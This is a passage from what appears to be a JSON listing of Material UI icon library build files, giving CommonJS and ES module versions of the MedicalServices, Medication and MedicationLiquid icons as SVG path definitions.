    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M10 4h4v2h-4zm6 11h-3v3h-2v-3H8v-2h3v-3h2v3h3z\"\n}), 'MedicalServices');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalServices.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M10 4h4v2h-4zm6 11h-3v3h-2v-3H8v-2h3v-3h2v3h3z\"\n}), 'MedicalServices');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalServicesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M10 4h4v2h-4zm10 16H4V8h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}, \"1\")], 'MedicalServicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalServicesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M10 4h4v2h-4zm10 16H4V8h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}, \"1\")], 'MedicalServicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalServicesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M10 4h4v2h-4zm5 11h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H9c-.55 0-1-.45-1-1s.45-1 1-1h2v-2c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'MedicalServicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalServicesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M10 4h4v2h-4zm5 11h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H9c-.55 0-1-.45-1-1s.45-1 1-1h2v-2c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'MedicalServicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalServicesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6V2H8v4H2v16h20V6zm-6-2h4v2h-4zm6 11h-3v3h-2v-3H8v-2h3v-3h2v3h3z\"\n}), 'MedicalServicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalServicesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6V2H8v4H2v16h20V6zm-6-2h4v2h-4zm6 11h-3v3h-2v-3H8v-2h3v-3h2v3h3z\"\n}), 'MedicalServicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalServicesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16V8H4zm4-7h3v-3h2v3h3v2h-3v3h-2v-3H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M10 4h4v2h-4zm10 16H4V8h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18h2v-3h3v-2h-3v-3h-2v3H8v2h3z\"\n}, \"2\")], 'MedicalServicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalServicesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16V8H4zm4-7h3v-3h2v3h3v2h-3v3h-2v-3H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M10 4h4v2h-4zm10 16H4V8h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18h2v-3h3v-2h-3v-3h-2v3H8v2h3z\"\n}, \"2\")], 'MedicalServicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Medication.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3h12v2H6zm11 3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-1 9h-2.5v2.5h-3V15H8v-3h2.5V9.5h3V12H16z\"\n}), 'Medication');"
  },
  {
    "path": "packages/mui-icons-material/lib/Medication.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3h12v2H6zm11 3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-1 9h-2.5v2.5h-3V15H8v-3h2.5V9.5h3V12H16z\"\n}), 'Medication');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationLiquid.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h12v2H3zm11 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-1 9h-2.5v2.5h-3V15H5v-3h2.5V9.5h3V12H13zm7-9c-1.68 0-3 1.76-3 4 0 1.77.83 3.22 2 3.76V20c0 .55.45 1 1 1s1-.45 1-1v-6.24c1.17-.54 2-1.99 2-3.76 0-2.24-1.32-4-3-4\"\n}), 'MedicationLiquid');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationLiquid.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h12v2H3zm11 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-1 9h-2.5v2.5h-3V15H5v-3h2.5V9.5h3V12H13zm7-9c-1.68 0-3 1.76-3 4 0 1.77.83 3.22 2 3.76V20c0 .55.45 1 1 1s1-.45 1-1v-6.24c1.17-.54 2-1.99 2-3.76 0-2.24-1.32-4-3-4\"\n}), 'MedicationLiquid');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationLiquidOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h12v2H3zM2 21h14V6H2zm3-9h2.5V9.5h3V12H13v3h-2.5v2.5h-3V15H5zm15-6c-1.68 0-3 1.76-3 4 0 1.77.83 3.22 2 3.76V21h2v-7.24c1.17-.54 2-1.99 2-3.76 0-2.24-1.32-4-3-4\"\n}), 'MedicationLiquidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationLiquidOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h12v2H3zM2 21h14V6H2zm3-9h2.5V9.5h3V12H13v3h-2.5v2.5h-3V15H5zm15-6c-1.68 0-3 1.76-3 4 0 1.77.83 3.22 2 3.76V21h2v-7.24c1.17-.54 2-1.99 2-3.76 0-2.24-1.32-4-3-4\"\n}), 'MedicationLiquidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationLiquidRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5h10c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m10 1H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2.5 9h-1v1c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5v-1h-1c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12h1v-1c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v1h1c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5M20 6c-1.68 0-3 1.76-3 4 0 1.77.83 3.22 2 3.76V20c0 .55.45 1 1 1s1-.45 1-1v-6.24c1.17-.54 2-1.99 2-3.76 0-2.24-1.32-4-3-4\"\n}), 'MedicationLiquidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationLiquidRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5h10c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m10 1H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2.5 9h-1v1c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5v-1h-1c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12h1v-1c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v1h1c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5M20 6c-1.68 0-3 1.76-3 4 0 1.77.83 3.22 2 3.76V20c0 .55.45 1 1 1s1-.45 1-1v-6.24c1.17-.54 2-1.99 2-3.76 0-2.24-1.32-4-3-4\"\n}), 'MedicationLiquidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationLiquidSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h12v2H3zm4.5 14.5h3V15H13v-3h-2.5V9.5h-3V12H5v3h2.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 13H4V8h10zm6-13c-1.68 0-3 1.76-3 4 0 1.77.83 3.22 2 3.76V20c0 .55.45 1 1 1s1-.45 1-1v-6.24c1.17-.54 2-1.99 2-3.76 0-2.24-1.32-4-3-4m0 6c-.41 0-1-.78-1-2s.59-2 1-2 1 .78 1 2-.59 2-1 2\"\n}, \"1\")], 'MedicationLiquidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationLiquidSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h12v2H3zm4.5 14.5h3V15H13v-3h-2.5V9.5h-3V12H5v3h2.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 13H4V8h10zm6-13c-1.68 0-3 1.76-3 4 0 1.77.83 3.22 2 3.76V20c0 .55.45 1 1 1s1-.45 1-1v-6.24c1.17-.54 2-1.99 2-3.76 0-2.24-1.32-4-3-4m0 6c-.41 0-1-.78-1-2s.59-2 1-2 1 .78 1 2-.59 2-1 2\"\n}, \"1\")], 'MedicationLiquidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationLiquidTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsxs)(\"g\", {\n  opacity: \".3\",\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"defs\", {\n    children: /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n      id: \"a\",\n      d: \"M4 8h10v11H4z\",\n      opacity: \".3\"\n    })\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"use\", {\n    xlinkHref: \"#a\",\n    overflow: \"visible\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M4 19h10V8H4zm1-7h2.5V9.5h3V12H13v3h-2.5v2.5h-3V15H5z\"\n  })]\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h12v2H3zm11 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 13H4V8h10z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 17.5h3V15H13v-3h-2.5V9.5h-3V12H5v3h2.5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"20\",\n  cy: \"10\",\n  opacity: \".3\",\n  rx: \"1\",\n  ry: \"2\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6c-1.68 0-3 1.76-3 4 0 1.77.83 3.22 2 3.76V20c0 .55.45 1 1 1s1-.45 1-1v-6.24c1.17-.54 2-1.99 2-3.76 0-2.24-1.32-4-3-4m0 6c-.41 0-1-.78-1-2s.59-2 1-2 1 .78 1 2-.59 2-1 2\"\n}, \"4\")], 'MedicationLiquidTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationLiquidTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsxs(\"g\", {\n  opacity: \".3\",\n  children: [/*#__PURE__*/_jsx(\"defs\", {\n    children: /*#__PURE__*/_jsx(\"path\", {\n      id: \"a\",\n      d: \"M4 8h10v11H4z\",\n      opacity: \".3\"\n    })\n  }), /*#__PURE__*/_jsx(\"use\", {\n    xlinkHref: \"#a\",\n    overflow: \"visible\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M4 19h10V8H4zm1-7h2.5V9.5h3V12H13v3h-2.5v2.5h-3V15H5z\"\n  })]\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h12v2H3zm11 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 13H4V8h10z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 17.5h3V15H13v-3h-2.5V9.5h-3V12H5v3h2.5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"20\",\n  cy: \"10\",\n  opacity: \".3\",\n  rx: \"1\",\n  ry: \"2\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6c-1.68 0-3 1.76-3 4 0 1.77.83 3.22 2 3.76V20c0 .55.45 1 1 1s1-.45 1-1v-6.24c1.17-.54 2-1.99 2-3.76 0-2.24-1.32-4-3-4m0 6c-.41 0-1-.78-1-2s.59-2 1-2 1 .78 1 2-.59 2-1 2\"\n}, \"4\")], 'MedicationLiquidTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 15H8v-3h2.5V9.5h3V12H16v3h-2.5v2.5h-3zM19 8v11c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V8c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2m-2 0H7v11h10zm1-5H6v2h12z\"\n}), 'MedicationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 15H8v-3h2.5V9.5h3V12H16v3h-2.5v2.5h-3zM19 8v11c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V8c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2m-2 0H7v11h10zm1-5H6v2h12z\"\n}), 'MedicationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m0 3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2.5 9h-1v1c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5v-1h-1c-.83 0-1.5-.67-1.5-1.5S8.67 12 9.5 12h1v-1c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v1h1c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'MedicationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m0 3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2.5 9h-1v1c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5v-1h-1c-.83 0-1.5-.67-1.5-1.5S8.67 12 9.5 12h1v-1c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v1h1c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'MedicationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3h12v2H6zm13 3H5v15h14zm-3 9h-2.5v2.5h-3V15H8v-3h2.5V9.5h3V12H16z\"\n}), 'MedicationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3h12v2H6zm13 3H5v15h14zm-3 9h-2.5v2.5h-3V15H8v-3h2.5V9.5h3V12H16z\"\n}), 'MedicationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10V8H7zm1-7h2.5V9.5h3V12H16v3h-2.5v2.5h-3V15H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3h12v2H6zm11 3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 13H7V8h10z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 17.5h3V15H16v-3h-2.5V9.5h-3V12H8v3h2.5z\"\n}, \"2\")], 'MedicationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10V8H7zm1-7h2.5V9.5h3V12H16v3h-2.5v2.5h-3V15H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3h12v2H6zm11 3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 13H7V8h10z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 17.5h3V15H16v-3h-2.5V9.5h-3V12H8v3h2.5z\"\n}, \"2\")], 'MedicationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MeetingRoom.js",
